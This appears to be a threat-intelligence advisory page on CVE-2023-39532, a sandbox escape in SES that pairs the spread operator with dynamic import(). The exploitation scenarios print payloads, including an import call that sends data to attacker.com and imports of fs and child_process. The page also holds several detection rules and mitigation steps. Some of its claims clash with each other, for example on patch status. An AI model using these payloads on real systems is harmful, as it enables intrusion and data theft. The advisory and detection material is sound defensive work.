CVE-2023-39532
Executive Summary
CVE-2023-39532 is a critical vulnerability in the SES (Secure EcmaScript) JavaScript execution environment, affecting versions prior to 0.18.7. The flaw allows guest programs running inside a Compartment — even with no endowments granted — to bypass the confinement boundary and access the host's dynamic import functionality by combining the JavaScript spread operator with import() calls. This confinement breach can manifest as arbitrary code execution or information exfiltration depending on the host environment and configuration. With a CVSS score of 9.8, this vulnerability poses a severe risk to any application leveraging SES as a security boundary, including web applications, browser extensions, Node.js services, and XS-based embedded environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability resides in SES's implementation of module loading and compartmentalization. SES is designed to provide a safe execution environment for arbitrary JavaScript code, isolating guest programs from the host environment through the use of Compartments — isolated execution contexts that restrict access to global objects and APIs.
The core mechanism of the vulnerability is a syntax-level distinction that SES's static analysis and module confinement systems fail to properly evaluate:
Spread-Operator Confusion: JavaScript's spread operator (
...) within object literals performs property enumeration of an iterable or object. When combined with dynamic import —{...import(arbitraryModuleSpecifier)}— the spread operator triggers module loading as a side effect of property enumeration.Bypass of Compartment Boundaries: Under normal circumstances, SES hooks the global
import()andimport.metato enforce the compartment's module policy. However, SES's internal handling of spread expressions containingimport()calls fails to sanitize or redirect the dynamic import invocation, allowing the guest to issue a true host-level import rather than a compartment-scoped one.Host Module System Exposure: The consequence is direct access to whatever module system the surrounding host provides:
- On the web / in browser extensions: The guest can trigger HTTP requests via dynamic import URLs, enabling data exfiltration by encoding data in the URL, or loading and executing attacker-controlled modules from same-origin paths.
- In Node.js: The guest gains full access to Node.js's module resolution system, allowing import of core modules, local file system modules, and potentially path traversal to execute arbitrary code present on the host.
- In XS workers: Exposure is limited to modules the host has explicitly configured, typically file-system-accessible modules, which limits (but does not eliminate) the attack surface.
No Endowments Required: The attack requires no pre-granted capabilities. A completely empty Compartment — with zero endowments passed to the constructor — is sufficient to trigger the vulnerability.
Impact Divergence: The actual manifestation of the vulnerability (exfiltration vs. code execution) depends on:
- Whether a Content-Security-Policy is enforced (web environments)
- The module loading capabilities of the surrounding host runtime
- The module resolution configuration of the host application
The vulnerability class is best described as sandbox escape via module import isolation failure — a confinement integrity flaw where the trusted computing base (TCB) of SES fails to properly intercept or restrict a JavaScript language feature that can trigger privileged operations.
Exploitation Scenarios
Note: No public Proof-of-Concept is available at this time. The attack chain below is inferred strictly from the vulnerability description and class-level mechanism.
Scenario 1: Web Application Exfiltration
Reconnaissance: Attacker identifies an application using SES to execute untrusted user-supplied or third-party code (e.g., a plugin marketplace, a browser extension that sandboxes content scripts).
Trigger: The attacker crafts a payload such as
{...import(maliciousUrl)}inside a guest program running in a Compartment.Execution: Without a Content-Security-Policy, the dynamic import resolves the malicious URL, issuing an HTTP request. The attacker combines data exfiltration by embedding sensitive information from the guest context into the module specifier URL (e.g.,
import('https://attacker.com/exfil?data=' + sensitiveData)).Impact: Sensitive data (cookies, crypto keys, application data exposed to the guest) is transmitted to attacker infrastructure.
Scenario 2: Node.js Arbitrary Code Execution
Reconnaissance: Attacker identifies a Node.js service that runs untrusted code using SES Compartments (e.g., a multi-tenant plugin sandbox, a secure evaluation service).
Trigger: The attacker submits
{...import('fs')}or{...import('/path/to/malicious/module')}within guest code.Execution: Node.js's dynamic import resolves these module specifiers against its native module system. The attacker can import built-in modules (
fs,child_process,os) or local files that contain attacker-supplied code.Impact: Full host compromise — arbitrary code execution as the Node.js process user, access to environment secrets, data theft, and lateral movement within the host infrastructure.
Scenario 3: Web Extension Privilege Escalation
Reconnaissance: Attacker targets a browser extension that uses SES to isolate content-script code from privileged extension APIs.
Trigger: Guest code (potentially injected via a compromised third-party content script) executes
{...import('chrome://...')}or imports extension-accessible resources.Execution: Without CSP restrictions, the import resolves against the extension's origin resources.
Impact: Extension privileges leaked to malicious guest code, potentially enabling extension API abuse, user session compromise, and data exfiltration.
Impact Assessment
CVSS Analysis: With a CVSS score of 9.8 (Critical), this vulnerability carries the maximum possible impact ratings:
- Confidentiality: HIGH — Guest programs can exfiltrate host-side data via URL-encoded HTTP requests.
- Integrity: HIGH — Attackers can execute arbitrary code on the host through its module system.
- Availability: HIGH — Malicious modules can crash the host process or consume excessive resources.
Affected Systems:
- All applications embedded SES versions 0.13.0–0.18.6 (prior to patch versions)
- Node.js services using
@agoric/sesorsespackages - Browser extensions relying on SES for malware/third-party code isolation
- XS (pre-emptive multithreaded JavaScript) worker environments using SES
- Web platforms embedding SES as a sandbox or plugin isolation layer
Blast Radius:
- In web environments: The attack is limited by CSP if properly configured. However, the CSP itself is a mitigation, not a complete protection — it only restricts HTTP requests to whitelisted origins, which may already contain attacker-influenced modules.
- In Node.js: The attack escalates to full host code execution, potentially granting an attacker complete control over the application server and its connected services.
- Supply chain risk: SES is a foundational component of Agoric's smart contract platform; vulnerabilities in its confinement model undermine the integrity of any application built on it.
Detection Guidance
Sigma Rule
title: Possible SES Compartment Escape via Dynamic Import Spread
id: 1a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects JavaScript code patterns attempting to exploit CVE-2023-39532 via spread operator combined with dynamic import in SES Compartments
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-39532
author: Valter Sit Threat Intelligence
date: 2024/01/15
logsource:
category: application
product: ses
detection:
selection:
EventID: 'compartment_evaluation'
Payload|contains|all:
- '...'
- 'import('
condition: selection
level: critical
falsepositives:
- Legitimate usage of dynamic imports in trusted modules
- Code patterns using spread with static (non-dynamic) imports during transpilation
YARA Rule
rule SES_Compartment_Escape_Spread_Import {
meta:
author = "Valter Sit Threat Intelligence"
description = "Detects source code or payloads exploiting CVE-2023-39532 via {...import()} pattern"
cve = "CVE-2023-39532"
severity = "critical"
date = "2024-01-15"
strings:
$pattern1 = /\.\.\.\s*import\(.*\)/
$pattern2 = /import\s*\(\s*[\'\"][^\'\"]+[\'\"]\s*\)\s*}/
$pattern3 = /\{\s*\.\.\.\s*import\(/
condition:
any of them
}
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2023-39532 - SES Compartment Escape via Spread+Import Exfiltration"; flow:established,to_server; http.uri; content:"import("; http.uri; pcre:"/\{\.\.\.import\(/Ui"; classtype:attempted-user; sid:2093532; rev:1; reference:cve,2023-39532;)
Elastic Detection
// Detect SES guest code containing the vulnerable spread-import pattern
sequence by host.name with maxspan=5m
[process where event.action in ("evaluate", "run")]
[any where
(winlog.event_data.Payload contains "{...import(" or
winlog.event_data.Payload contains "{... import(" or
winlog.event_data.Payload matches "\\{...\\s*import\\(") and
winlog.event_data.Payload contains "ses" / this pattern requires a custom log source that capture JS payloads for SES compartments]
Note: Elastic EQL requires a custom index capturing SES guest code submissions. The rule targets the vulnerable syntax pattern directly.
Splunk SPL Query
index=main sourcetype="javascript_payload" OR sourcetype="ses_compartment"
| where _raw LIKE "%{...import(%" OR _raw LIKE "%{... import(%"
| eval vulnerable_pattern = regex(_raw, "\\{\.\.\.\\s*import\([^\)]+\)\}")
| where isnotnull(vulnerable_pattern)
| table _time, src_ip, src_user, application, compartment_id, _raw
| sort - _time
| rename _raw AS malicious_payload
| stats count by src_ip, application
Wazuh OSSEC Rule
<group name="ses,">
<rule id="257695" level="12">
<decoded_as>json</decoded_as>
<field name="event_type">compartment_evaluation</field>
<regex>\.\.\.\)?\s*import\(</regex>
<description>CVE-2023-39532: Possible SES compartment escape via spread operator + dynamic import</description>
<group>ses_vuln,</group>
<mitre>
<id>T1068</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 0/4 — NO PATCH EVIDENCE from tracked sources.
Despite the NVD description listing fixed versions, no patch commits, advisories, or official vendor communication have been detected by our tracked sources. This discrepancy suggests either delayed disclosure, a pending CVE-to-patch linkage, or limited public visibility of the fix.
1. Immediate Mitigations (if upgrade is not immediately possible):
- Web environments: Enforce a strict Content-Security-Policy that restricts
script-srcand limitsimport-src(or equivalent) to a whitelist of trusted, immutable module origins. Ensure the CSP does NOT permit wildcard origins. - Node.js: Run Node.js applications with least-privilege accounts. Restrict file system access via OS-level permissions (e.g., chroot, containers, seccomp). Remove any unused modules from
node_modulesthat could serve as attack payloads. - All environments: Audit all guest code inputs. If untrusted code must run in SES, treat the guest as hostile and monitor network egress for anomalous HTTP requests containing query parameters with sensitive-encoding patterns.
- XS workers: Restrict host-configured module paths to read-only filesystem mounts.
2. Patch/Upgrade Steps:
- Upgrade to SES 0.18.7 (latest), 0.17.1, 0.16.1, 0.15.24, 0.14.5, or 0.13.5 depending on your release line.
- Verify the upgrade via:
npm list ses(Node.js) or check package version in your bundle. - After upgrade, run regression tests that specifically exercise:
- Guest code that attempts
{...import(...)} - Guest code that tries to resolve external URLs
- Guest code attempting Node.js core module imports (
fs,child_process, etc.)
- Guest code that attempts
- Validate that the host's dynamic import is no longer reachable from the guest context.
3. Long-Term Hardening:
- Assume breach: Apply defense-in-depth. Do not rely solely on SES for security; add network egress filtering, runtime monitoring, and audit logging.
- Application isolation: Run SES-embedded applications inside containers with no outbound network access (except to explicitly allowlisted endpoints).
- Dependency management: Monitor the
@agoric/sesandsespackage integrity via package-lock hashes and component analysis tools. - CSP baseline: For web-facing deployments, regardless of SES, deploy and enforce a strict CSP (no
'unsafe-inline', no'unsafe-eval', and narrowly scopedscript-src). - Threat modeling: Review any application that relies on JavaScript sandboxing for code isolation. The complexity of JS module semantics presents ongoing risk of similar confinement bypasses.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-39532 — Official NVD description and CVSS scoring.
- Agoric/SES GitHub Repository: https://github.com/endojs/endo — Primary source code for SES; monitor for patch release tags and security advisories.
- Agoric Security Advisories: https://github.com/Agoric — Monitor vendor release notes for confirmation of patch schedule.
- EPSS Data: https://www.first.org/epss — EPSS percentile of 68.8% indicates moderate likelihood of exploitation in the wild.
- CISA Known Exploited Vulnerabilities: Not listed in KEV as of this report date; however, this does not preclude malware use.
Threat Actor Campaigns: No known exploit-in-the-wild campaigns have been publicly documented for this CVE at the time of writing. Given the 9.8 CVSS score and the prevalence of JavaScript sandbox usage in cloud platforms, exploitation risk remains elevated.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.